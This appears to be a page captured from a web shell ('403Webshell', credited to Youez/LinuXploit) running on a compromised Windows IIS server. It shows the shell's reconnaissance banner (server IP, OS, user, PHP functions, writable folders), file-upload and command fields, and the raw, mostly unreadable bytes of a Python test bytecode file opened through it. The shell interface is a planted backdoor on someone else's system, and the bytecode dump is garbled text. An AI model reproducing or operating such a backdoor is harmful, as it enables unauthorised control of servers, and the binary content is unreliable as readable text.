403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.144
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/test_json/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/test_json/__pycache__/test_recursion.cpython-313.opt-1.pyc
�

��i�
��x�SSKJr SSKJrJr "SS5r"SS5r"SS\\5r"S	S
\\5rg)�)�support)�PyTest�CTestc��\rSrSrSrg)�JSONTestObject��N��__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r	��2C:\Python313\\Lib\test\test_json\test_recursion.pyrrs��rrc�b�\rSrSrSrSrSrSr\R"S5S5r
SrS	rg
)�
TestRecursion�	c�N�/nURU5 URU5 URS5 /nU/nURU5 URU5 URS5 /nX"/nURU5 g![a N\f=f![a N3f=f)Nz)didn't raise ValueError on list recursionz5didn't raise ValueError on alternating list recursion)�append�dumps�fail�
ValueError��self�x�ys   r�test_listrecursion� TestRecursion.test_listrecursion
s�����	�����	C��J�J�q�M�
�I�I�A�B���
�C��	�����	O��J�J�q�M�
�I�I�M�N���
�F���
�
�1�
��!�	��	���	��	�s#�B�B�
B�B�
B$�#B$c��0nXS'URU5 URS5 0nXS.nURU5 g![a N$f=f)N�testz)didn't raise ValueError on dict recursion)�a�b)rrrrs   r�test_dictrecursion� TestRecursion.test_dictrecursion!sZ�����&�	�	C��J�J�q�M�
�I�I�A�B�������
�
�1�
���	��	�s�A�
A�Ac��"SSURR5nU"5nURUR[5S5 SUlUR[5 UR
S5 g![a gf=f)Nc��\rSrSrSrSrSrg)�ATestRecursion.test_defaultrecursion.<locals>.RecursiveJSONEncoder�0Fc��U[LaUR(a[/$gURRR	U5$)Nr)r�recurse�json�JSONEncoder�default�r�os  rr.�ITestRecursion.test_defaultrecursion.<locals>.RecursiveJSONEncoder.default2s8����&��|�|� .�/�/�/��y�y�,�,�4�4�Q�7�7rr	N)rrr
rr+r.rr	rr�RecursiveJSONEncoderr(0s���G�
8rr2z"JSONTestObject"Tz,didn't raise ValueError on default recursion)r,r-�assertEqual�encoderr+rr)rr2�encs   r�test_defaultrecursion�#TestRecursion.test_defaultrecursion/sx��	8�4�9�9�#8�#8�	8�#�$��������N�3�5G�H����	F��J�J�~�&�
�I�I�D�E���	��	�s�A;�;
B�Bc���UR[5 [R"5 UR	SS-S-SS--5 SSS5 SSS5 UR[5 [R"5 UR	SS-S-SS--5 SSS5 SSS5 UR[5 [R"5 UR	SS-S-SS--5 SSS5 SSS5 g!,(df   N�=f!,(df   N�=f!,(df   N�=f!,(df   N�=f!,(df   N[=f!,(df   g=f)Nz{"a":順�1�}z[1]�[�])�assertRaises�RecursionErrorr�infinite_recursion�loads)rs r�#test_highly_nested_objects_decoding�1TestRecursion.test_highly_nested_objects_decodingEs	���
�
�~�
.��+�+�-��
�
�7�V�+�c�1�C�&�L�@�A�.�/��
�
�~�
.��+�+�-��
�
�7�V�+�e�3�c�F�l�B�C�.�/��
�
�~�
.��+�+�-��
�
�3��<�#�-��f��<�=�.�/�
.�.�-��/�
.��.�-��/�
.��.�-��/�
.�sj�D�D
�
D�/E�D/�#E�E"�E�<E"�
D	�D�
D,�/
D=	�9E�
E�
E	�E"�"
E0�cpuc��/0p![S5H	nU/SU0p!M UR[5 [R"S5 URU5 SSS5 SSS5 UR[5 [R"S5 URU5 SSS5 SSS5 g!,(df   Ne=f!,(df   Nn=f!,(df   N9=f!,(df   g=f)Nr9�ki�)�ranger>r?rr@r)r�l�drs    r�#test_highly_nested_objects_encoding�1TestRecursion.test_highly_nested_objects_encodingRs����2�1��v��A��3��Q��q��
�
�
�~�
.��+�+�D�1��
�
�1�
�2�/��
�
�~�
.��+�+�D�1��
�
�1�
�2�/�
.�2�1��/�
.��2�1��/�
.�sG�C
�B9�C
�?C,�C�(C,�9
C	�C
�

C�
C)	�%C,�,
C:c�*�"SSURR5nUR[5 [R
"S5 U"SS9R
S5 SSS5 SSS5 g!,(df   N=f!,(df   g=f)Nc��\rSrSrSrSrg)�@TestRecursion.test_endless_recursion.<locals>.EndlessJSONEncoder�ac��U/$)z?If check_circular is False, this will keep adding another list.r	r/s  rr.�HTestRecursion.test_endless_recursion.<locals>.EndlessJSONEncoder.defaultbs	���s�
rr	N)rrr
rr.rr	rr�EndlessJSONEncoderrNas��
rrRi�F)�check_circulary@)r,r-r>r?rr@r4)rrRs  r�test_endless_recursion�$TestRecursion.test_endless_recursion_sf��	����!6�!6�	�
�
�
�~�
.��+�+�D�1�"�%�8�?�?��C�2�/�
.�1�1��/�
.�s#�B�A3�"B�3
B	�=B�
Br	N)
rrr
rrr$r6rBr�requires_resourcerJrTrr	rrrr	s<���.�F�,>�
���u�%�
�&�
�	Drrc��\rSrSrSrg)�TestPyRecursion�kr	Nr
r	rrrXrXks��drrXc��\rSrSrSrg)�TestCRecursion�lr	Nr
r	rrr[r[ls��Drr[N)	r!r�test.test_jsonrrrrrXr[r	rr�<module>r^s:���(�	�	�_D�_D�D3�m�V�2�0�]�E�0r

Youez - 2016 - github.com/yon3zu
LinuXploit